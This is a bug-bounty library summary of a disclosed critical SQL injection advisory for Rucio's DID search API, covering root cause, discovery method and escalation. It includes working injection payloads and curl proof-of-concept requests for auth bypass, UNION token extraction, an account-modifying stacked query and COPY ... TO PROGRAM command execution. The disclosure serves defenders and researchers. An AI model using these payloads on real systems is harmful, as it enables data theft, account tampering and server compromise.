# Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

FilterEngine.create_postgres_query interpolates attacker-controlled filter keys/values into raw SQL, letting any authenticated Rucio user inject SQL via the DID search endpoint.

- Payout: Research
- Severity: critical
- Program: Rucio
- Found by: Mistz1, bziemons
- Disclosed: 2026-05-06
- CVE: CVE-2026-29090
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6j7p-qjhg-9947
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6j7p-qjhg-9947
- Tags: area:web3 domain:api impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:sqli

**Target:** DID search API endpoint (GET /dids/<scope>/dids/search) with postgres_meta plugin
**Root cause:** create_postgres_query builds raw SQL via Python str.format with unescaped filter keys and values across six branches; the resulting string is wrapped in psycopg3 sql.SQL() which treats it as trusted syntax rather than parameterizing it.
**Steps:**
1. Obtain any valid Rucio auth token via /auth/userpass (or x509/OIDC/SAML/SSH/GSS).
2. Send `GET /dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1` with the token; generated fragment `data->>'custom_key' = 'x' OR '1'='1'` makes the WHERE always true.
3. Inject via key name: `?x'%20OR%201%3D1--%20=anything` yields `data->>'x' OR 1=1-- ' = 'anything'`.
4. UNION exfil: `?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--`.
5. Stacked write: `?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--`.
6. RCE if DB user privileged: `?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--`.
7. Alternative entry: `?filters=[{"custom_key": "x' OR '1'='1"}]` parsed via ast.literal_eval.
**How found:** Code review of the postgres_meta plugin's FilterEngine: noticed manages_key() unconditionally returns True and that create_postgres_query uses str.format to build SQL, then traced the string into psycopg3 sql.SQL() which does not escape.
**Exploitation:** Any authenticated user hits the DID search endpoint with a crafted filter key or value; postgres_meta.manages_key() accepts any key, typecasting leaves the payload unchanged, and the string is executed as trusted SQL. UNION SELECT pulls tokens/identities; stacked queries modify accounts; COPY ... TO PROGRAM yields OS command execution when the DB role is superuser or has pg_execute_server_program.
**Escalation:** Extracted tokens enable session hijacking; identities table yields single-iteration SHA-256 password hashes crackable at GPU speed; rse_settings exposes storage credentials; COPY ... FROM PROGRAM escalates to RCE.
**Insight:** When a plugin's manages_key() accepts arbitrary keys, every downstream string-building path becomes attacker-reachable; grep for str.format/%-formatting feeding sql.SQL() (not sql.Identifier/Literal) in ORM-adjacent query builders, especially JSONB `->>` accessors where both key and value are interpolated.

## Proof of concept (copied exactly from the original report)

**Value injection boolean bypass curl request**

```
curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows
```

**Key injection via query parameter name**

```
curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest
```

**UNION-based token extraction request**

```
curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set
```

